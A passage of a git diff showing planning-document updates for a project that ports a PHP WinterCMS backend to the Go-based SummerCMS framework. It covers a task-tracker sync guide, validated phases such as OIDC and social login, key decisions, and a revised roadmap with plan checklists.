| 7c5b8a8cb7 | |||
| 89611eaaf9 | |||
| 4f1cda33d7 | |||
| a03302e8fe | |||
| 02936b15bc | |||
| 64d21c8caf | |||
| 143eca5a1f | |||
| 5ba1a4ae1d | |||
| 56f3d9c59f | |||
| f9324470bf | |||
| edf11f967c | |||
| 6d36ffaef0 | |||
| 960de8f1df | |||
| 460da612f1 | |||
| 4117a6fce3 | |||
| 78b1d91568 | |||
|
|
03553a9172 | ||
|
|
9b3803c098 | ||
|
|
27f75308d7 | ||
|
|
f70d80ec7e | ||
|
|
da21670870 | ||
|
|
4b5ed7707e | ||
|
|
50c8cee541 | ||
|
|
b9ef034272 | ||
|
|
9eb2a9237c | ||
|
|
14f6982c4d | ||
|
|
a6e2c399a5 | ||
|
|
ddf1178c51 | ||
|
|
8973da5cc1 |
4
.gitignore
vendored
4
.gitignore
vendored
@@ -1,6 +1,10 @@
|
||||
# Go
|
||||
/bin/
|
||||
/examples/hello/bin/
|
||||
|
||||
# Application log files (diary daily channel)
|
||||
/storage/
|
||||
/examples/hello/storage/
|
||||
/dist/
|
||||
/site/
|
||||
*.test
|
||||
|
||||
54
.planning/G15OFFICE.md
Normal file
54
.planning/G15OFFICE.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# g15office sync
|
||||
|
||||
Todos and phases in `.planning/` are mirrored in g15office, project `summercms` (see `g15office.json`). Keep the two in sync.
|
||||
|
||||
## Todos
|
||||
|
||||
- Every todo in `todos/pending/` has a g15office task, and its frontmatter carries the task ID: `g15office: <id>`.
|
||||
- Capturing a todo creates its g15office task in the same session (type Bug, Feature, Improvement or Task; the description ends with `Local: .planning/todos/pending/<file>`). Write the ID back into the frontmatter.
|
||||
- Closing a todo (moving it to `todos/done/`) also moves its task to `Live`, or to `Rejected` if it was dropped, with a one-line comment saying where it was done.
|
||||
- A todo promoted to a phase closes into that phase's milestone task. For example, `backend-admin-api-tokens` became the Phase 16.3 task.
|
||||
|
||||
## Phases
|
||||
|
||||
Each roadmap phase has one milestone task titled `[Phase N] <name>`, type Task. Post a short comment on it whenever the phase advances (discussed, planned, a plan executed, verified, UAT, shipped), and keep its status in step:
|
||||
|
||||
| Phase state | g15office status |
|
||||
|---|---|
|
||||
| Not discussed, or discussed but not planned | To do |
|
||||
| Planned or executing | In progress |
|
||||
| Executed, waiting on verification/UAT | Testing |
|
||||
| Complete | Live |
|
||||
|
||||
A new phase, inserted or added, gets its task when it is added to `ROADMAP.md`. A todo that a phase will deliver becomes a subtask of that phase's task.
|
||||
|
||||
| Phase | Task | Phase | Task |
|
||||
|---|---|---|---|
|
||||
| 1 | 1ar7xvcd | 14.2 | fdlwwsfh |
|
||||
| 2 | 7uqoumsi | 14.2.1 | bf2wsxhz |
|
||||
| 3 | 0tszvge7 | 14.3 | utmjarsp |
|
||||
| 4 | qbwhi5u9 | 15 | qqbp8xtm |
|
||||
| 5 | 5ahymkhp | 16 | n0nuhzca |
|
||||
| 6 | altu10qm | 16.1 | y7adhmsm |
|
||||
| 7 | jzdzafce | 16.2 | gwzqpjyi |
|
||||
| 8 | 9nwkuxzo | 16.3 | 5lcivllc |
|
||||
| 9 | hrjqlvb8 | 17 | ejoiuzy4 |
|
||||
| 10 | vgrmjuwl | 18 | 46vnjevj |
|
||||
| 10.1 | hwr4istb | 18.1 | 2vriy9pw |
|
||||
| 10.2 | 6nwcght4 | 19 | 6nojs2go |
|
||||
| 11 | sz63omvi | 19.1 | uakdpkc8 |
|
||||
| 11.1 | 9crhrf7k | 19.3 | lpybyjdh |
|
||||
| 11.2 | pvwvnvvi | 19.4 | l7t8dbyl |
|
||||
| 12 | odwb6onw | 19.5 | onunbz3l |
|
||||
| 12.1 | c5wcij0a | 19.6 | avoroeb4 |
|
||||
| 12.2 | hkoccgbx | 19.7 | dcnv4mha |
|
||||
| 13 | nkbr2ybg | 20 | xo463rwk |
|
||||
| 14 | cwlaryop | 30 | 0rkcboo0 |
|
||||
| 14.1 | v0j5lwvq | 31 | hgol7otp |
|
||||
| | | 19.4.1 | g02hcroj |
|
||||
| | | 19.6.1 | hioyvbxa |
|
||||
| | | 19.8 | t9k2efpy |
|
||||
| | | 32 | 8gldeain |
|
||||
| | | 33 | ebilbgte |
|
||||
|
||||
Backlog phase 999.1 (newsletter) has no task until it is promoted into the roadmap.
|
||||
@@ -55,6 +55,22 @@ Validated in Phase 8: OAuth2.1 authorization server
|
||||
- [x] Direct standard-library OAuth 2.1-style authorization server (`wristband`): RFC 8414 metadata, RFC 7591 dynamic registration, authorize with S256 PKCE and JWT-guarded consent, authorization_code and rotating refresh_token grants with replay lineage-kill, RFC 8707 resource handling, connected-app list/revoke, `fonoteka:oauth-client` operator command, and the `/me` bootstrap the unchanged fonoteka-mcp process uses
|
||||
- [x] Byte parity with recorded PHP across all nine OAuth routes and a 17-step MCP lifecycle; the real unmodified fonoteka-mcp completes discovery, DCR, PKCE, consent, token, tool call, refresh, replay rejection and revoke against the Go binary; `scripts/check-phase8.sh` is the sign-off gate (its Playwright UI matrix stage is a named carried-forward follow-up)
|
||||
|
||||
Validated in Phase 19.1: Chat satellites
|
||||
|
||||
- [x] Shared plugins sm-chatbots-plugin, sm-chatvideo-plugin (LiveKit), sm-forum-plugin (breakwater-sanitized markdown), sm-herald-plugin (web push, SSRF-guarded) and sm-userfriends-plugin run on SummerCMS behind JWT APIs, with GDPR cascades on `user.Deleting`; `scripts/check-phase19.1.sh` is the fail-closed gate (UAT and security 2026-10-18)
|
||||
|
||||
Validated in Phase 19.4: OIDC provider on wristband
|
||||
|
||||
- [x] `wristband` has an OpenID Connect flavour (discovery, JWKS with RS256/ES256 and key rotation, id_token with nonce and at_hash, userinfo, resumable authorize with consent and account switching, pairwise subjects, opt-in refresh), and the new sm-oauthserver-plugin hosts it with PHP-path routes, branded consent and error pages, Clients and Branding admin screens and a Winter import that keeps kids, tokens and secrets; `scripts/check-phase19.4.sh` is the fail-closed gate (UAT and security 2026-10-20). PHP parity recording deferred to the WavePath cutover (D-14 amended)
|
||||
|
||||
Validated in Phase 19.5: Social login
|
||||
|
||||
- [x] The new sm-sociallogin-plugin signs users in with Google, GitHub, Microsoft and Facebook through PHP's `/oauth/{provider}` paths, with a provider registry other plugins extend, the SPA one-time-code handoff, the pending-registration branch and linking through a one-time link ticket; a verified email auto-links only onto an account that proved its address (`users.email_verified_at` in sm-user-plugin, a deliberate divergence from PHP); `scripts/check-phase19.5.sh` is the fail-closed gate (UAT and security 2026-10-21). The email-proof fix (sm-user-plugin v0.1.5, sm-sociallogin-plugin v0.1.2) is released with the 19.8 release
|
||||
|
||||
Validated in Phase 19.6.1: Backend Administrators screen
|
||||
|
||||
- [x] Backend admin users and roles are managed in the admin SPA (Settings → System), WinterCMS-style, with `backend.manage_users` / `backend.manage_roles`, server-side privilege rules (superuser-only flag, ceilings, self-edit, outranking, last-superuser lock) and a generic record-action seam; `scripts/check-phase19.6.1.sh` is the fail-closed gate (UAT 26/26 and security 33/33 closed, 2026-10-22)
|
||||
|
||||
### Active
|
||||
|
||||
Framework kernel
|
||||
@@ -83,7 +99,7 @@ Background and integrations
|
||||
|
||||
Admin
|
||||
|
||||
- [ ] Backend admin users with roles, separate from frontend users, as in WinterCMS
|
||||
- (backend admin users and roles — moved to Validated in Phase 19.6.1)
|
||||
- [ ] `fields.yaml` and `columns.yaml` parsed (goccy/go-yaml) into a JSON form and list schema served per controller, with the field types Płytarium actually uses (text, textarea, checkbox, switch, dropdown with model-method options, relation with nameFrom/emptyOption) plus layout hints (span, tabs, context, attributes), and a first-class relation-manager schema replacing the one `partial` field
|
||||
- [ ] A minimal Vue 3 + TypeScript admin SPA that renders those schemas as lists and forms for the five Płytarium controllers (Albums, Artists, Collections, Genres, Styles), with types generated from the API's OpenAPI document
|
||||
|
||||
@@ -139,6 +155,11 @@ Quality
|
||||
- **Commits**: no co-author tags; one logical change per commit; planning docs and code in separate commits
|
||||
- **Core plugin contracts**: the PHP user, blog, pages and payment plugins are shared across many projects; the Go ports must preserve their contracts and the PHP originals are not changed as part of this project
|
||||
|
||||
Validated in Phase 18.1: Payment Gateway Subscriptions
|
||||
|
||||
- [x] Generic subscriptions core (`sm-paymentgatewaysubscriptions-plugin`, pgsub v0.1.1) and pgstripe's subscription gateway, signed webhook and claim-first River job (pgstripe v0.1.1) on framework v0.2.2; admin plans/subscriptions screens, headless customer API and the layer's Pg subscription components
|
||||
- [x] Live Stripe test-mode UAT 8/8 on a `summer build` demo app: checkout, single `activated` event, 409 on a second subscription, portal and site cancellation, admin sync and reorder; security audit 51 threats, 0 open (`18.1-SECURITY.md`)
|
||||
|
||||
## Key Decisions
|
||||
|
||||
| Decision | Rationale | Outcome |
|
||||
@@ -163,6 +184,14 @@ Quality
|
||||
| Framework and application in two repos from day one (`summercms.go`, `fonoteka.go`) | Retrofitting the split later is more disruptive; shared stack plugins can be extracted for keios.eu without touching the framework; the framework never imports an app | ✓ Good (Phase 3: fonoteka.go workspace, user + fonoteka plugins, app.Handler test seam) |
|
||||
| Shared core plugins live in their own `sm-<name>-plugin` repos, mounted into each application as git submodules (first: sm-user-plugin, module `git.golem15.com/golem15/sm-user-plugin`) | A second application (sm-summercmsio-app) exists and the Journal port is next; one copy per core plugin instead of forks; supersedes the Phase 1 keios.eu trigger (`.planning/notes/core-plugins-own-repos.md`) | ✓ Good (2026-10-02, quick 261002-esz) |
|
||||
| OAuth identities live in sm-user-plugin; Index/Destroy are host-mounted on the JWT group | Social-login rows are a user-plugin table (D-01); routes stay off `/_user` so the host owns Winter 404 and `throttle:10,1` | ✓ Good (Phase 14.1, 2026-10-05; corpus 175/175/0) |
|
||||
| The local dev stack is the Nuxt app proxied to the Go binary, guarded fail-closed (`fonoteka.go/scripts/dev-stack.sh`), with dev-only seed and marker route gated on `SUMMER_ENV=local` only | Proves the port in daily use before cutover without touching the production origin; `dev` is refused because shared servers often use that name (review WR-05) | ✓ Good (Phase 14.2, 2026-10-12; gate e2e 17/0/0/0, manual UAT 1-11) |
|
||||
| Framework serves public uploads itself (`storage.uploads.serve`, opt-in) with nosniff, a sandboxing CSP and attachment disposition for non-images | Local runs need WinterCMS upload URLs without nginx; the hardening keeps uploaded HTML or SVG from running on the app origin (review WR-03) | ✓ Good (Phase 14.2) |
|
||||
| The opt-in request log (`http.access_log`) records method, matched pattern, status and duration, never the URL path | Share and invitation tokens travel in paths (review WR-01); an unported route shows as a 404 with an empty pattern | ✓ Good (Phase 14.2) |
|
||||
| Subscription state comes from Stripe, not the event snapshot (Phase 18.1, D-21 amended) | Out-of-order webhooks regressed rows; the job re-retrieves the subscription under a per-subscription advisory lock, and a portal `cancel_at` counts as cancel at period end | ✓ Good (Phase 18.1 UAT, 2026-10-16) |
|
||||
| A soft (optional) plugin dependency still requires the provider module in `go.mod`; only `Requires()` omits it | A typed `Lookup` needs the package that declares the interface; optional means "skipped at Boot when absent", not "not compiled in" (`docs/plugins/extending.md`) | ✓ Good (Phase 19.1 UAT override, 2026-10-18) |
|
||||
| OIDC on wristband with golang-jwt v5, not zitadel/oidc (Phase 19.4, `notes/2026-10-19-oidc-on-wristband-golang-jwt.md`) | wristband already owned the OAuth flows and PHP-compatible encoding; zitadel's own storage and routing would fight both. go-oidc and x/oauth2 are test-only, for relying-party interop | ✓ Good (Phase 19.4 UAT, 2026-10-20) |
|
||||
| PHP OIDC parity is recorded at the WavePath cutover, not in Phase 19.4 (D-14 amended) | The harness ships and replays Go-side; recording needs the live PHP site, and WavePath's provider must not move until the replay is green | — Pending (todo `2026-10-19-record-php-oidc-parity-against-wavepath`) |
|
||||
| Administrators and Roles live in cabana as an internal pseudo-plugin; privilege rules run in the save transaction; contributed Administrators Runs are wrapped with `guardOutranked` | WinterCMS screens were missing and 19.7 needs the record-action seam; a delegated editor must not outrank the target or capture a code-declared role | ✓ Good (Phase 19.6.1 UAT 26/26, 2026-10-22) |
|
||||
|
||||
## Evolution
|
||||
|
||||
@@ -182,4 +211,4 @@ This document evolves at phase transitions and milestone boundaries.
|
||||
4. Update Context with current state
|
||||
|
||||
---
|
||||
*Last updated: 2026-10-05 after Phase 14.1 completion*
|
||||
*Last updated: 2026-10-22 after Phase 19.6.1 completion*
|
||||
|
||||
@@ -4,6 +4,8 @@
|
||||
|
||||
v1 ports the Płytarium (fonoteka) headless PHP backend to a single Go binary without vue-fonoteka-app or fonoteka-mcp noticing. The journey starts with the smallest possible kernel plus a day-one parity harness, proves the whole stack on one real endpoint (`GET /_fonoteka/api/v1/genres`) before any further kernel design, then broadens outward: full data-layer fidelity, the three-auth-group HTTP layer, the user plugin, OAuth2.1 for MCP/ChatGPT, the admin schema pipeline and its Vue SPA, jobs/realtime/search infrastructure, the 154-route API surface (split into two delivery slices), domain jobs and external integrations, a local Nuxt-on-Go dress rehearsal, the Journal plugin and a first blog (grzybyfunkcjonalne.pl) on reusable views, and finally production cutover of Płytarium where the parity harness is green on every manifest route and both real clients run unchanged against the Go backend.
|
||||
|
||||
Reordered 2026-10-18 (`.planning/notes/2026-10-18-roadmap-reorder-demo-release-wavepath.md`): the remaining 19.x phases polish the framework and shared plugins, Phase 20 is a public demo instance with every shared plugin, Phases 21 to 29 are added as their goals firm up (security, more plugin ports, backend fixes), and the Płytarium cutover at Phase 30 closes v1. The WavePath work starts at Phase 31 (formerly 19.2).
|
||||
|
||||
## Phases
|
||||
|
||||
**Phase Numbering:**
|
||||
@@ -23,18 +25,28 @@ Decimal phases appear between their surrounding integers in numeric order.
|
||||
- [x] **Phase 8: OAuth2.1 authorization server** - direct standard-library `wristband` server for fonoteka-mcp and the ChatGPT connector (completed 2026-09-23)
|
||||
- [x] **Phase 9: Backend admin authentication and schema pipeline** - Admin roles, fields.yaml/columns.yaml, relation manager (completed 2026-10-01)
|
||||
- [x] **Phase 10: Admin Vue SPA** - Login, navigation, lists, forms and relation manager for five controllers (completed 2026-09-27)
|
||||
- [ ] **Phase 11: Jobs, realtime and search infrastructure** - River, Centrifugo and Typesense sync brought up before the API phases that need them
|
||||
- [x] **Phase 11: Jobs, realtime and search infrastructure** - River, Centrifugo and Typesense sync brought up before the API phases that need them (completed 2026-10-06)
|
||||
- [x] **Phase 12: Płytarium API — Collections and Albums** - Core content endpoints ported with byte-level parity (completed 2026-10-02)
|
||||
- [ ] **Phase 13: Płytarium API — wishlist, notifications, CSV, credentials, public routes** - Remaining core API surface
|
||||
- [ ] **Phase 14: Domain jobs and external integrations** - CSV/Discogs jobs, wishlist digest, reindex, Discogs client, AI recognition, feedback
|
||||
- [ ] **Phase 14.2: Local Fonoteka frontend on local SummerCMS backend** - vue-fonoteka-app locally against fonoteka.go
|
||||
- [ ] **Phase 15: Journal plugin** - Port Golem15.Journal to sm-journal-plugin
|
||||
- [ ] **Phase 16: grzybyfunkcjonalne.pl on reusable blog views** - First blog on SummerCMS
|
||||
- [ ] **Phase 17: Blog companions** - Port sitemap, menu and FAQ as shared plugins, with a framework menu-item type registry
|
||||
- [ ] **Phase 18: Payment Gateway** - Port Golem15.PaymentGateway and its Stripe operator, with Horoskopia as the acceptance consumer
|
||||
- [ ] **Phase 19: Chat and ChatChannels** - Port Golem15.Chat and Golem15.ChatChannels on lighthouse
|
||||
- [ ] **Phase 19.1: Chat satellites** - Port chatbots, chatvideo, forum, herald and userfriends
|
||||
- [ ] **Phase 20: Płytarium cutover** - Parity harness green, both real clients run unchanged in production
|
||||
- [x] **Phase 13: Płytarium API — wishlist, notifications, CSV, credentials, public routes** - Remaining core API surface (completed 2026-10-12)
|
||||
- [x] **Phase 14: Domain jobs and external integrations** - CSV/Discogs jobs, wishlist digest, reindex, Discogs client, AI recognition, feedback (completed 2026-10-04)
|
||||
- [x] **Phase 14.2: Local Fonoteka frontend on local SummerCMS backend** - vue-fonoteka-app locally against fonoteka.go (completed 2026-10-12)
|
||||
- [x] **Phase 15: Journal plugin** - Port Golem15.Journal to sm-journal-plugin (completed 2026-10-06)
|
||||
- [x] **Phase 16: grzybyfunkcjonalne.pl on reusable blog views** - First blog on SummerCMS (completed 2026-10-09)
|
||||
- [x] **Phase 17: Blog companions** - Port sitemap, menu and FAQ as shared plugins, with a framework menu-item type registry (completed 2026-10-13)
|
||||
- [x] **Phase 18: Payment Gateway** - Port Golem15.PaymentGateway and its Stripe operator, with Horoskopia as the acceptance consumer (completed 2026-10-14)
|
||||
- [x] **Phase 19: Chat and ChatChannels** - Port Golem15.Chat and Golem15.ChatChannels on lighthouse (completed 2026-10-17)
|
||||
- [x] **Phase 19.1: Chat satellites** - Port chatbots, chatvideo, forum, herald and userfriends (completed 2026-10-18)
|
||||
- [ ] **Phase 19.3: Framework transport and infrastructure for WavePath** - Cookie refresh, credentialed CORS, cache and Redis rate limits, S3 option, OpenAPI page, Turnstile
|
||||
- [x] **Phase 19.4: OIDC provider on wristband** - Discovery, JWKS with key rotation, id_token, userinfo, consent and pairwise subjects (completed 2026-10-20)
|
||||
- [ ] **Phase 19.4.1: Early public demo on demo.summercms.io** - sm-demo-app with today's shared plugins on rome: open registration, guided tour, journal, bm's presentation system, quizzes, payments; backend by request
|
||||
- [x] **Phase 19.5: Social login in sm-user-plugin** - Google and Facebook login with the SPA one-time-code handoff (completed 2026-10-21)
|
||||
- [ ] **Phase 19.6: Two-factor auth and device flow in sm-user-plugin** - TOTP, WebAuthn, email and recovery codes, trusted devices, device authorization
|
||||
- [x] **Phase 19.6.1: Backend Administrators screen** - Admins and roles CRUD in cabana, WinterCMS-style, with server-side privilege rules (completed 2026-10-22)
|
||||
- [ ] **Phase 19.7: Generic MCP module** - Opt-in MCP endpoint, plugin-declared tools filtered by permissions, one connector per person via OAuth and a verified account link
|
||||
- [ ] **Phase 19.8: Console commands overhaul** - `diary` logging module, Artisan-grade global flags, help and `list` in `bonfire`, sweep of every command
|
||||
- [ ] **Phase 20: Demo instance with every shared plugin** - Add the chat family (chat, channels, video calls, chatbots, forum, herald, friends) to the live demo from Phase 19.4.1
|
||||
- [ ] **Phase 30: Płytarium cutover** - Parity harness green, both real clients run unchanged in production
|
||||
- [ ] **Phase 31: Chat polish against WavePath clients** - Replay WavePath's chat traffic through `tide` against the ported chat plugins until green
|
||||
|
||||
## Phase Details
|
||||
|
||||
@@ -481,7 +493,7 @@ Plans:
|
||||
4. A controller registers named toolbar actions listed in `toolbar.buttons`; a click POSTs the action and toasts while `create` and `delete` keep their behaviour; unknown YAML keys, missing templates, unregistered actions and unknown permissions fail boot.
|
||||
5. The Albums list shows a statistics strip scoped to the admin's collection, the Albums form shows a "Load from Discogs" widget whose stub fills Release year and Format, and a "Sync with Discogs" toolbar action toasts from its stub.
|
||||
|
||||
**Plans:** 4/4 plans executed
|
||||
**Plans:** 4/4 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -512,7 +524,7 @@ Plans:
|
||||
4. A channel-namespace authorizer registry re-validates on every subscribe; a broadcastable model interface with bulk-write suppression emits exactly one summary event for a bulk operation.
|
||||
5. Typesense sync is scoped by `collection_id` behind a settings kill-switch and degrades gracefully without DB/config.
|
||||
|
||||
**Plans:** 8/8 plans executed
|
||||
**Plans:** 8/8 plans complete
|
||||
**Research flag:** yes
|
||||
|
||||
Plans:
|
||||
@@ -551,7 +563,7 @@ Plans:
|
||||
4. Every Go example in a `docs/` page is compiled and run by `go test ./...` (Go code in ingested module READMEs is identifier-checked, not compiled — D-18). An identifier checker and an internal link/anchor checker also run there and fail on stale names or broken links.
|
||||
5. A "Coming from WinterCMS" concept map and an `acme/blog` porting walkthrough exist, and the walkthrough's code is verified under criterion 4.
|
||||
|
||||
**Plans:** 7/7 plans executed
|
||||
**Plans:** 7/7 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
@@ -593,7 +605,7 @@ Plans:
|
||||
|
||||
**Context:** `.planning/phases/11.2-ready-to-share-summercms-io-website-and-newsletter-plugin/11.2-CONTEXT.md` (D-01 to D-05, D-07, D-09 and D-12 still apply; see its supersession note)
|
||||
|
||||
**Plans:** 3/3 plans executed
|
||||
**Plans:** 3/3 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
@@ -620,7 +632,7 @@ Plans:
|
||||
4. Artists/genres/styles lookup endpoints used by the Albums UI pass the parity diff.
|
||||
5. A request-DTO-level fuzz over every write endpoint asserts unknown and server-owned keys are never persisted (inherits the HTTP half of Phase 5 criterion 3; the HTTP layer does not exist until Phase 6/12).
|
||||
|
||||
**Plans**: 4/5 plans executed
|
||||
**Plans**: 5/5 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -646,7 +658,7 @@ Plans:
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 12 (user groups tables and the `Groups` relation from 12-01)
|
||||
**Repos:** `sm-user-plugin` (mounted in fonoteka.go at `plugins/golem15/user`); `summercms.go` only if the admin pipeline is missing a feature the screens need
|
||||
**Ordering:** independent of Phase 13; must land before Phase 20 (Płytarium cutover)
|
||||
**Ordering:** independent of Phase 13; must land before Phase 30 (Płytarium cutover)
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. Users, User Groups and Organisations each have a list (columns, search, filters as in the PHP `config_filter.yaml`) and a create/update form ported from the PHP model YAML, reachable from admin navigation and gated by backend permissions.
|
||||
@@ -656,7 +668,7 @@ Plans:
|
||||
5. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Open questions (discuss-phase):** impersonate user in or out of scope (security-sensitive); a separate permission for granting the `admin` group (it makes a site admin); whether convert-guest is needed for the application's data.
|
||||
**Plans:** 5/5 plans executed
|
||||
**Plans:** 5/5 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -691,7 +703,7 @@ Plans:
|
||||
4. Deferred binding: on an unsaved parent, uploads and related-record changes bind to a session key, are committed in the parent's create transaction, and are discarded with the session. Orphaned deferred bindings and their files are purged.
|
||||
5. The new code has unit tests, delivered in the phase's last plan, and the docs checker passes.
|
||||
|
||||
**Plans:** 4/5 plans executed
|
||||
**Plans:** 5/5 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
@@ -707,7 +719,7 @@ Plans:
|
||||
- [x] 12.2-04-PLAN.md — Admin SPA: FileuploadField, DatepickerField (Reka), child and pivot modals, create-screen deferral, date/time cells, rebuilt dist
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [ ] 12.2-05-PLAN.md — Unit and security tests (D-15 suite, test map, SPA backstops), check-phase12.2.sh, security review, v0.1.1 tag checkpoint
|
||||
- [x] 12.2-05-PLAN.md — Unit and security tests (D-15 suite, test map, SPA backstops), check-phase12.2.sh, security review, v0.1.1 tag checkpoint
|
||||
|
||||
**Cross-cutting constraints:**
|
||||
- Calendar popover: Esc returns focus to the trigger and a disabled day cannot be selected
|
||||
@@ -730,7 +742,7 @@ Plans:
|
||||
4. Per-user and per-org Discogs/AI credentials CRUD store encrypted values, honor the org-lock flag, and resolve env-to-org-to-user correctly. The live `ai-credential/test` and `discogs-credential/test` routes move to Phase 14 (D-02).
|
||||
5. Onboarding, public and invitation-inspection routes, including the anonymous collection views `public/{token}`, `public/{token}/albums` and `public/{token}/albums/{id}`, are reachable without auth and enforce their own public rate-limit buckets.
|
||||
|
||||
**Plans:** 6/6 plans executed
|
||||
**Plans:** 6/6 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -769,7 +781,7 @@ Plans:
|
||||
6. Feedback submissions, widget config and the hide preference work (sitemap dropped for this application, D-14); the oauth-client, prune-notifications and reindex commands all run correctly.
|
||||
`oauth-identities` GET/DELETE and token `GET /api/v1/fonoteka/me` stay pending in this phase (D-09, todo orphan-pending-routes).
|
||||
|
||||
**Plans:** 6/6 plans executed
|
||||
**Plans:** 6/6 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -829,21 +841,21 @@ Plans:
|
||||
3. Failures against Go are visible (no silent fall-through to PHP); the local stack does not require the production origin.
|
||||
4. The new glue (env, proxy, CORS, run docs) has tests or a fail-closed check script, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 4 plans
|
||||
**Plans:** 4/4 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
**Wave 1**
|
||||
- [ ] 14.2-01-PLAN.md — Go glue: `fonoteka:dev-seed`, plugin commands open their own DB (G1), dev-only marker route, framework `/storage` mount and opt-in access log with docs
|
||||
- [x] 14.2-01-PLAN.md — Go glue: `fonoteka:dev-seed`, plugin commands open their own DB (G1), dev-only marker route, framework `/storage` mount and opt-in access log with docs
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [ ] 14.2-02-PLAN.md — `scripts/dev-stack.sh` (start, fail-closed guard, logs, e2e verdict), `.env.dev.example`, `.gitignore`, run docs
|
||||
- [x] 14.2-02-PLAN.md — `scripts/dev-stack.sh` (start, fail-closed guard, logs, e2e verdict), `.env.dev.example`, `.gitignore`, run docs
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [ ] 14.2-03-PLAN.md — Nuxt `E2E_BACKEND=go` switch, realtime rewrite, edit/rate/cover, search and wishlist specs on Go and PHP, Centrifugo origin step, manual UAT session
|
||||
- [x] 14.2-03-PLAN.md — Nuxt `E2E_BACKEND=go` switch, realtime rewrite, edit/rate/cover, search and wishlist specs on Go and PHP, Centrifugo origin step, manual UAT session
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [ ] 14.2-04-PLAN.md — Unit tests (seed, commands, marker, uploads mount, access log, switch contract) and `scripts/check-phase14.2.sh`
|
||||
- [x] 14.2-04-PLAN.md — Unit tests (seed, commands, marker, uploads mount, access log, switch contract) and `scripts/check-phase14.2.sh`
|
||||
|
||||
### Phase 14.2.1: Translate plugin (INSERTED)
|
||||
|
||||
@@ -858,7 +870,7 @@ Plans:
|
||||
3. Cabana `markdown`/`mltext`/`mlmarkdown` compose; nested locale writes are not dropped; docs, OpenAPI, TS types and `boardwalk` `dist/` update in the same change.
|
||||
4. Proof host `sm-grzybyfunkcjonalne-app` boots with user+translate; unit tests are the last plan.
|
||||
|
||||
**Plans:** 6/6 plans executed
|
||||
**Plans:** 6/6 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -899,7 +911,7 @@ Plans:
|
||||
5. `docs/setup/installation.md` leads with the one-liner, `go-modules-and-workspaces.md` and the console docs cover `summer new`, and `llms.txt`/`llms-full.txt` include the changes; docs checks pass.
|
||||
6. Generator Go tests (golden output plus a real build of the scaffold in a temp dir) are the last plan.
|
||||
|
||||
**Plans:** 4/4 plans executed
|
||||
**Plans:** 4/4 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -929,7 +941,7 @@ Plans:
|
||||
3. Plugin README and docs stay application-neutral (`the application`, example names such as `blog`).
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 4/4 plans executed
|
||||
**Plans:** 4/4 plans complete
|
||||
|
||||
Plans:
|
||||
|
||||
@@ -959,14 +971,104 @@ Plans:
|
||||
3. Public pages that PHP Journal + the current theme rendered have a named successor on Go; sitemap is in if the site still needs it.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
**Plans:** 5/5 plans complete
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run $gsd-plan-phase 16 to break down)
|
||||
**Wave 1**
|
||||
- [x] 16-01-PLAN.md — vue-journal-layer: prerequisite gate (repos, D-20/D-21), git-tag install spike, Journal views, typed client, routes config, tokens, pl/en, SEO/sitemap/RSS; tag v0.1.0
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 16-02-PLAN.md — vue-grzybyfunkcjonalne-app: SSR site on the layer with the PHP URL map, homepage/menu/FAQ/kontakt content port, GA via runtime config; submodule in the host
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 16-03-PLAN.md — sm-grzybyfunkcjonalne-app: /gfadmin, app plugin with featured-image and category-content commands, migration runbook, two-process deploy files, urls.txt and local rehearsal
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 16-04-PLAN.md — Staging deploy on the PHP site's server (human checkpoint) and smoke over every old URL
|
||||
|
||||
**Wave 5** *(blocked on Wave 4 completion)*
|
||||
- [x] 16-05-PLAN.md — Unit tests: layer and app node --test (incl. SSR), Go command and boot tests, phase gate
|
||||
|
||||
### Phase 16.1: Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)
|
||||
|
||||
**Goal:** The Journal posts list and post form in the admin work on real imported data, found on UAT (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts): (1) list search no longer fails with "Server error" — the Go log shows `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` from summercms@v0.1.9 modules/cabana/query.go:129, i.e. search across a belongsToMany (pivot) relation builds a hasMany join; (2) list sort and filters are remembered after opening a record and going back, as WinterCMS persisted list state; (3) the post form shows the stored content (DB has content/content_html on 104/104 posts, the form shows it empty); (4) the post form shows the stored excerpt (100/104 posts have it in the DB). Fixes span summercms.go core (modules/cabana — coordinate with the concurrent session working in modules/) and sm-journal-plugin; release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 16
|
||||
**Plans:** 3/3 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 16.1-01-PLAN.md — All fixes: cabana relation search and to-many sort through EXISTS/correlated subqueries (D-02), default locale first in form enabledLocales (D-03), Journal FormatHTML keeps raw HTML behind the gate (D-03), admin list state in the URL and browser storage (D-01)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
